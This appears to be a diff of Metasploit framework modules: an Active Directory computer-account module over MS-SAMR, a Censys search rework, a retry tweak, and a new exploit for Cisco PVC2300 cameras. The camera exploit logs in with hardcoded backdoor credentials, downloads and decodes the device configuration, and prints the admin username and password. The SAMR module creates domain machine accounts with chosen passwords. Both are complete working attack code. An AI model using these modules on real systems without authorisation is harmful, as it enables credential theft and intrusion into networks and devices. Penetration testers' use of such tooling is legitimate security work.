'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
@@ -86,6 +91,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
response = netr_server_authenticate3
|
||||
|
||||
break if (status = response.error_status) == 0
|
||||
|
||||
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
|
||||
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
|
||||
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
||||
|
||||
fail_with(Failure::UnexpectedReply, windows_error)
|
||||
end
|
||||
|
||||
return CheckCode::Detected unless status == 0
|
||||
|
||||
@@ -0,0 +1,249 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'ruby_smb/dcerpc/client'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SAMR Computer Management',
|
||||
'Description' => %q{
|
||||
Add, lookup and delete computer accounts via MS-SAMR. By default
|
||||
standard active directory users can add up to 10 new computers to the
|
||||
domain. Administrative privileges however are required to delete the
|
||||
created accounts.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'JaGoTu', # @jagotu Original Impacket code
|
||||
'Spencer McIntyre',
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py'],
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [],
|
||||
'Stability' => [],
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
},
|
||||
'Actions' => [
|
||||
[ 'ADD_COMPUTER', { 'Description' => 'Add a computer account' } ],
|
||||
[ 'DELETE_COMPUTER', { 'Description' => 'Delete a computer account' } ],
|
||||
[ 'LOOKUP_COMPUTER', { 'Description' => 'Lookup a computer account' } ]
|
||||
],
|
||||
'DefaultAction' => 'ADD_COMPUTER'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]),
|
||||
OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ], conditions: %w[ACTION == ADD_COMPUTER]),
|
||||
Opt::RPORT(445)
|
||||
])
|
||||
end
|
||||
|
||||
def connect_samr
|
||||
vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')
|
||||
samr = @tree.open_file(filename: 'samr', write: true, read: true)
|
||||
|
||||
vprint_status('Binding to \\samr...')
|
||||
samr.bind(endpoint: RubySMB::Dcerpc::Samr)
|
||||
vprint_good('Bound to \\samr')
|
||||
|
||||
samr
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
connect
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
end
|
||||
|
||||
begin
|
||||
smb_login
|
||||
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
|
||||
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
|
||||
end
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
host_name: simple.client.default_name,
|
||||
proto: 'tcp',
|
||||
name: 'smb',
|
||||
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
|
||||
)
|
||||
|
||||
begin
|
||||
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
|
||||
end
|
||||
|
||||
begin
|
||||
@samr = connect_samr
|
||||
@server_handle = @samr.samr_connect
|
||||
rescue RubySMB::Dcerpc::Error::FaultError => e
|
||||
elog(e.message, error: e)
|
||||
fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
|
||||
end
|
||||
|
||||
if datastore['SMBDomain'].blank? || datastore['SMBDomain'] == '.'
|
||||
all_domains = @samr.samr_enumerate_domains_in_sam_server(server_handle: @server_handle).map(&:to_s).map(&:encode)
|
||||
all_domains.delete('Builtin')
|
||||
if all_domains.empty?
|
||||
fail_with(Failure::NotFound, 'No domains were found on the SAM server.')
|
||||
elsif all_domains.length > 1
|
||||
print_status("Enumerated domains: #{all_domains.join(', ')}")
|
||||
fail_with(Failure::BadConfig, 'The SAM server has more than one domain, the target must be specified.')
|
||||
end
|
||||
|
||||
@domain_name = all_domains.first
|
||||
print_status("Using automatically identified domain: #{@domain_name}")
|
||||
else
|
||||
@domain_name = datastore['SMBDomain']
|
||||
end
|
||||
|
||||
@domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: @domain_name)
|
||||
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: @domain_sid)
|
||||
send("action_#{action.name.downcase}")
|
||||
rescue RubySMB::Dcerpc::Error::DcerpcError => e
|
||||
elog(e.message, error: e)
|
||||
fail_with(Failure::UnexpectedReply, e.message)
|
||||
rescue RubySMB::Error::RubySMBError
|
||||
elog(e.message, error: e)
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
|
||||
def random_hostname(prefix: 'DESKTOP')
|
||||
"#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$"
|
||||
end
|
||||
|
||||
def action_add_computer
|
||||
if datastore['COMPUTER_NAME'].blank?
|
||||
computer_name = random_hostname
|
||||
4.downto(0) do |attempt|
|
||||
break if @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ]).nil?
|
||||
|
||||
computer_name = random_hostname
|
||||
fail_with(Failure::BadConfig, 'Could not find an unused computer name.') if attempt == 0
|
||||
end
|
||||
else
|
||||
computer_name = datastore['COMPUTER_NAME']
|
||||
if @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ])
|
||||
fail_with(Failure::BadConfig, 'The specified computer name already exists.')
|
||||
end
|
||||
end
|
||||
|
||||
result = @samr.samr_create_user2_in_domain(
|
||||
domain_handle: @domain_handle,
|
||||
name: computer_name,
|
||||
account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED
|
||||
)
|
||||
|
||||
user_handle = result[:user_handle]
|
||||
if datastore['COMPUTER_PASSWORD'].blank?
|
||||
password = Rex::Text.rand_text_alphanumeric(32)
|
||||
else
|
||||
password = datastore['COMPUTER_PASSWORD']
|
||||
end
|
||||
|
||||
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
|
||||
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
|
||||
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
|
||||
i1: {
|
||||
password_expired: 1,
|
||||
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
|
||||
},
|
||||
user_password: {
|
||||
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
|
||||
password,
|
||||
@simple.client.application_key
|
||||
)
|
||||
}
|
||||
)
|
||||
)
|
||||
@samr.samr_set_information_user2(
|
||||
user_handle: user_handle,
|
||||
user_info: user_info
|
||||
)
|
||||
|
||||
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
|
||||
tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION,
|
||||
member: RubySMB::Dcerpc::Samr::UserControlInformation.new(
|
||||
user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT
|
||||
)
|
||||
)
|
||||
@samr.samr_set_information_user2(
|
||||
user_handle: user_handle,
|
||||
user_info: user_info
|
||||
)
|
||||
print_good("Successfully created #{@domain_name}\\#{computer_name} with password #{password}")
|
||||
report_creds(@domain_name, computer_name, password)
|
||||
end
|
||||
|
||||
def action_delete_computer
|
||||
fail_with(Failure::BadConfig, 'This action requires COMPUTER_NAME to be specified.') if datastore['COMPUTER_NAME'].blank?
|
||||
computer_name = datastore['COMPUTER_NAME']
|
||||
|
||||
details = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ])
|
||||
fail_with(Failure::BadConfig, 'The specified computer was not found.') if details.nil?
|
||||
details = details[computer_name]
|
||||
|
||||
handle = @samr.samr_open_user(domain_handle: @domain_handle, user_id: details[:rid])
|
||||
@samr.samr_delete_user(user_handle: handle)
|
||||
print_good('The specified computer has been deleted.')
|
||||
end
|
||||
|
||||
def action_lookup_computer
|
||||
fail_with(Failure::BadConfig, 'This action requires COMPUTER_NAME to be specified.') if datastore['COMPUTER_NAME'].blank?
|
||||
computer_name = datastore['COMPUTER_NAME']
|
||||
|
||||
details = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [ computer_name ])
|
||||
if details.nil?
|
||||
print_error('The specified computer was not found.')
|
||||
return
|
||||
end
|
||||
details = details[computer_name]
|
||||
sid = @samr.samr_rid_to_sid(object_handle: @domain_handle, rid: details[:rid]).to_s
|
||||
print_good("Found #{@domain_name}\\#{computer_name} (SID: #{sid})")
|
||||
end
|
||||
|
||||
def report_creds(domain, username, password)
|
||||
service_data = {
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: domain
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
@@ -3,150 +3,141 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Censys Search',
|
||||
'Description' => %q{
|
||||
The module use the Censys REST API to access the same data
|
||||
accessible through web interface. The search endpoint allows searches
|
||||
against the current data in the IPv4, Top Million Websites, and
|
||||
Certificates indexes using the same search syntax as the primary site.
|
||||
},
|
||||
'Author' => [ 'Nixawk' ],
|
||||
'References' => [
|
||||
['URL', 'https://censys.io/api']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
CENSYS_SEARCH_API = 'search.censys.io'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Censys Search',
|
||||
'Description' => %q{
|
||||
The module uses the Censys REST API to access the same data accessible
|
||||
through the web interface. The search endpoint allows queries using
|
||||
the Censys Search Language against the Hosts dataset. Setting the
|
||||
CERTIFICATES option will also retrieve the certificate details for each
|
||||
relevant service by querying the Certificates dataset.
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk', # original Metasploit module
|
||||
'e2002e', # rework to use the API v2
|
||||
'Christophe De La Fuente' # rework to use the API v2
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://search.censys.io']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('CENSYS_UID', [true, 'The Censys API UID']),
|
||||
OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),
|
||||
OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']),
|
||||
OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']])
|
||||
OptString.new('QUERY', [true, 'The Censys search query']),
|
||||
OptBool.new('CERTIFICATES', [false, 'Query infos about certificates', false])
|
||||
])
|
||||
end
|
||||
|
||||
def basic_auth_header(username, password)
|
||||
auth_str = username.to_s + ":" + password.to_s
|
||||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
def basic_auth_header
|
||||
auth_str = datastore['CENSYS_UID'].to_s + ':' + datastore['CENSYS_SECRET'].to_s
|
||||
'Basic ' + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
def search(keyword, search_type)
|
||||
# search_type should be one of ipv4, websites, certificates
|
||||
|
||||
def search(keyword)
|
||||
begin
|
||||
# "80.http.get.headers.server: Apache"
|
||||
payload = {
|
||||
'query' => keyword
|
||||
}
|
||||
|
||||
@cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true)
|
||||
@cli = Rex::Proto::Http::Client.new(CENSYS_SEARCH_API, 443, {}, true)
|
||||
@cli.connect
|
||||
|
||||
response = @cli.request_cgi(
|
||||
'method' => 'post',
|
||||
'uri' => "/api/v1/search/#{search_type}",
|
||||
'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) },
|
||||
'data' => payload.to_json
|
||||
'method' => 'GET',
|
||||
'uri' => "/api/v2/hosts/search?q=#{keyword}",
|
||||
'headers' => { 'Authorization' => basic_auth_header }
|
||||
)
|
||||
|
||||
res = @cli.send_recv(response)
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error("HTTP Connection Failed")
|
||||
end
|
||||
|
||||
unless res
|
||||
print_error('server_response_error')
|
||||
return
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT => e
|
||||
fail_with(Failure::Unreachable, "#search: HTTP Connection Failed: #{e}")
|
||||
end
|
||||
fail_with(Failure::Unreachable, '#search: HTTP Connection Failed') unless res
|
||||
|
||||
records = ActiveSupport::JSON.decode(res.body)
|
||||
results = records['results']
|
||||
|
||||
if @searchtype.include?('certificates')
|
||||
parse_certificates(results)
|
||||
elsif @searchtype.include?('ipv4')
|
||||
parse_ipv4(results)
|
||||
elsif @searchtype.include?('websites')
|
||||
parse_websites(results)
|
||||
if records['code'] == 200
|
||||
parse_record(records['result'])
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Error returned by '/api/v2/hosts/search': code=#{records['code']}, status=#{records['status']}, error=#{records['error']}")
|
||||
end
|
||||
end
|
||||
|
||||
def valid_domain?(domain)
|
||||
domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/
|
||||
end
|
||||
def get_certificate_details(cert_fingerprint)
|
||||
return if cert_fingerprint.nil?
|
||||
|
||||
def domain2ip(domain)
|
||||
ips = []
|
||||
begin
|
||||
ips = Rex::Socket.getaddresses(domain)
|
||||
rescue SocketError
|
||||
response = @cli.request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => "/api/v1/view/certificates/#{cert_fingerprint}",
|
||||
'headers' => { 'Authorization' => basic_auth_header }
|
||||
)
|
||||
res = @cli.send_recv(response)
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error('#get_certificate_details - HTTP Connection Failed')
|
||||
return
|
||||
end
|
||||
ips
|
||||
return unless res
|
||||
|
||||
cert_details = ActiveSupport::JSON.decode(res.body)
|
||||
subject = cert_details.dig('parsed', 'subject_dn')
|
||||
return unless subject
|
||||
|
||||
issuer = cert_details.dig('parsed', 'issuer_dn')
|
||||
cert_details = subject
|
||||
cert_details << " (Issuer: #{issuer})" if issuer
|
||||
cert_details
|
||||
end
|
||||
|
||||
def parse_certificates(records)
|
||||
ips = []
|
||||
records.each do |certificate|
|
||||
# parsed.fingerprint_sha256
|
||||
# parsed.subject_dn
|
||||
# parsed.issuer_dn
|
||||
subject_dn = certificate['parsed.subject_dn'].join(',')
|
||||
next unless subject_dn.include?('CN=')
|
||||
|
||||
host = subject_dn.split('CN=')[1]
|
||||
if Rex::Socket.is_ipv4?(host)
|
||||
ips << host
|
||||
elsif valid_domain?(host) # Fake DNS server
|
||||
ips |= domain2ip(host)
|
||||
end
|
||||
|
||||
ips.each do |ip|
|
||||
print_good("#{ip} - #{subject_dn}")
|
||||
report_host(:host => ip, :info => subject_dn)
|
||||
def parse_record(records)
|
||||
unless records&.dig('hits')&.any?
|
||||
print_error('The query did not return any records')
|
||||
return
|
||||
end
|
||||
records['hits'].each do |hit|
|
||||
ip = hit['ip']
|
||||
services = hit['services']
|
||||
ports = []
|
||||
certs = []
|
||||
services.each do |service|
|
||||
port = service['port']
|
||||
name = service['service_name']
|
||||
ports << "#{port}/#{name}"
|
||||
cert_details = nil
|
||||
if datastore['CERTIFICATES'] && service['certificate']
|
||||
cert_details = get_certificate_details(service['certificate'])
|
||||
if cert_details
|
||||
certs << "Certificate for #{port}/#{name}: #{cert_details}"
|
||||
else
|
||||
vprint_error("Unable to get certificate details for #{port}/#{name}")
|
||||
end
|
||||
end
|
||||
if cert_details
|
||||
report_service(host: ip, port: port, name: name, info: cert_details)
|
||||
else
|
||||
report_service(host: ip, port: port, name: name)
|
||||
end
|
||||
end
|
||||
print_good("#{ip} - #{ports.join(',')}")
|
||||
certs.each { |cert| print_status(cert) }
|
||||
end
|
||||
end
|
||||
|
||||
def parse_ipv4(records)
|
||||
records.each do |ipv4|
|
||||
# ip
|
||||
# protocols
|
||||
ip = ipv4['ip']
|
||||
protocols = ipv4['protocols']
|
||||
|
||||
protocols.each do |protocol|
|
||||
print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}")
|
||||
port, name = protocol.split('/')
|
||||
report_service(:host => ip, :port => port, :name => name)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_websites(records)
|
||||
records.each do |website|
|
||||
# domain
|
||||
# alexa_rank
|
||||
print_good("#{website['domain']} - #{website['alexa_rank']}")
|
||||
domain = website['domain']
|
||||
ips = domain2ip(domain)
|
||||
ips.each do |ip|
|
||||
report_host(:host =>ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check to see if www.censys.io resolves properly
|
||||
# Check to see if Censys Search API host resolves properly
|
||||
def censys_resolvable?
|
||||
begin
|
||||
Rex::Socket.resolv_to_dotted("www.censys.io")
|
||||
Rex::Socket.resolv_to_dotted(CENSYS_SEARCH_API)
|
||||
rescue RuntimeError, SocketError
|
||||
return false
|
||||
end
|
||||
@@ -154,16 +145,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
# check to ensure www.censys.io is resolvable
|
||||
unless censys_resolvable?
|
||||
print_error("Unable to resolve www.censys.io")
|
||||
return
|
||||
fail_with(Failure::Unreachable, "Unable to resolve #{CENSYS_SEARCH_API}")
|
||||
end
|
||||
|
||||
@uid = datastore['CENSYS_UID']
|
||||
@secret = datastore['CENSYS_SECRET']
|
||||
@dork = datastore['CENSYS_DORK']
|
||||
@searchtype = datastore['CENSYS_SEARCHTYPE']
|
||||
search(@dork, @searchtype)
|
||||
search(datastore['QUERY'])
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'Cisco PVC2300 POE Video Camera configuration download',
|
||||
'Description' => %q{
|
||||
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order
|
||||
to download the configuration file containing the admin credentials for the web interface.
|
||||
|
||||
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the
|
||||
module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml
|
||||
endpoint using hardcoded credentials.
|
||||
|
||||
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml
|
||||
with the aim of downloading the configuration file. The configuration file, if obtained, is then
|
||||
decoded and saved to the loot directory. Finally, the module attempts to extract the admin
|
||||
credentials to the web interface from the decoded configuration file.
|
||||
|
||||
No known solution was made available for this vulnerability and no CVE has been published. It is
|
||||
therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
|
||||
|
||||
This module was successfully tested against several Cisco PVC2300 cameras.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Craig Heffner', # vulnerability discovery and PoC
|
||||
'Erik Wynter', # @wyntererik - Metasploit
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source
|
||||
[ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)
|
||||
[ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation
|
||||
],
|
||||
'DisclosureDate' => '2013-07-12',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def custom_base64_alphabet
|
||||
'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'
|
||||
end
|
||||
|
||||
def default_base64_alphabet
|
||||
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
|
||||
end
|
||||
|
||||
def request_session_id
|
||||
vprint_status('Attempting to obtain a session ID')
|
||||
# the creds used here are basically a backdoor
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
|
||||
'vars_get' => {
|
||||
'action' => 'login',
|
||||
'user' => 'L1_admin',
|
||||
'password' => 'L1_51'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
|
||||
end
|
||||
|
||||
if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?
|
||||
session_id = res.headers['sessionID']
|
||||
print_status("The target may be vulnerable. Obtained sessionID #{session_id}")
|
||||
return session_id
|
||||
end
|
||||
|
||||
# try to check the status message in the response body
|
||||
# the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly
|
||||
status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip
|
||||
if status.blank?
|
||||
fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
|
||||
end
|
||||
|
||||
if status == 'try it later'
|
||||
fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
|
||||
end
|
||||
end
|
||||
|
||||
def download_config_file(session_id)
|
||||
vprint_status('Attempting to download the configuration file')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
|
||||
'headers' => {
|
||||
'sessionID' => session_id
|
||||
},
|
||||
'vars_get' => {
|
||||
'action' => 'downloadConfigurationFile'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
|
||||
end
|
||||
|
||||
unless res.code == 200 && !res.body.empty?
|
||||
fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
|
||||
end
|
||||
|
||||
# if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business
|
||||
res.body
|
||||
end
|
||||
|
||||
def decode_config_file(config_file_encoded)
|
||||
# if we've made it all the way here, this shouldn't break, but better safe than sorry
|
||||
begin
|
||||
config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
|
||||
config_file_decoded = Base64.decode64(config_file_base64)
|
||||
rescue StandardError => e
|
||||
print_error('Encountered the following error when attempting to decode the configuration file:')
|
||||
print_error(e)
|
||||
fail_with(Failure::Unknown, 'Failed to decode the configuration file')
|
||||
end
|
||||
|
||||
# let's just save the full config at this point
|
||||
path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)
|
||||
print_good('Successfully downloaded the configuration file')
|
||||
print_status("Saving the full configuration file to #{path}")
|
||||
|
||||
# let's see if we can grab the device name from the config file
|
||||
if config_file_decoded =~ /comment=.*? Video Camera/
|
||||
device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip
|
||||
unless device_name.blank?
|
||||
print_status("Obtained device name #{device_name}")
|
||||
end
|
||||
end
|
||||
|
||||
# try to grab the admin username and password from the config file
|
||||
admin_name = nil
|
||||
admin_password = nil
|
||||
if config_file_decoded.include?('admin_name')
|
||||
admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip
|
||||
end
|
||||
|
||||
if config_file_decoded.include?('admin_password')
|
||||
admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip
|
||||
end
|
||||
|
||||
if admin_name.blank? && admin_password.blank?
|
||||
print_error('Failed to obtain the admin credentials from the configuration file')
|
||||
else
|
||||
print_good('Obtained the following admin credentials for the web interface from the configuration file:')
|
||||
print_status("admin username: #{admin_name}")
|
||||
print_status("admin password: #{admin_password}")
|
||||
# save the creds to the db
|
||||
report_creds(admin_name, admin_password)
|
||||
end
|
||||
end
|
||||
|
||||
def report_creds(username, password)
|
||||
service_data = {
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def check
|
||||
res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))
|
||||
|
||||
unless res1
|
||||
return Exploit::CheckCode::Unknown('Target is unreachable.')
|
||||
end
|
||||
|
||||
# string togetether a few checks to make it more likely we're dealing with a Cisco camera
|
||||
unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
|
||||
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
|
||||
end
|
||||
|
||||
res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
|
||||
unless res2
|
||||
return Exploit::CheckCode::Unknown('Target is unreachable.')
|
||||
end
|
||||
|
||||
unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
|
||||
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
|
||||
end
|
||||
|
||||
vprint_status('Target seems to be a Cisco camera')
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def run
|
||||
session_id = request_session_id
|
||||
config_file = download_config_file(session_id)
|
||||
decode_config_file(config_file)
|
||||
end
|
||||
end
|
||||
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Netlify and Sucuri.
|
||||
},
|
||||
'Author' => [
|
||||
'mekhalleh (RAMELLA Sébastien)' # https://www.pirates.re/
|
||||
'mekhalleh (RAMELLA Sébastien)', # https://www.pirates.re/
|
||||
'Yvain'
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://citadelo.com/en/blog/cloudflare-how-to-do-it-right-and-do-not-reveal-your-real-ip/']
|
||||
@@ -165,21 +166,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# ------------------------------------------------------------------------- #
|
||||
|
||||
# auxiliary/gather/censys_search.rb
|
||||
def censys_search(keyword, search_type, uid, secret)
|
||||
def censys_search(keyword, uid, secret)
|
||||
begin
|
||||
payload = { 'query' => keyword }
|
||||
|
||||
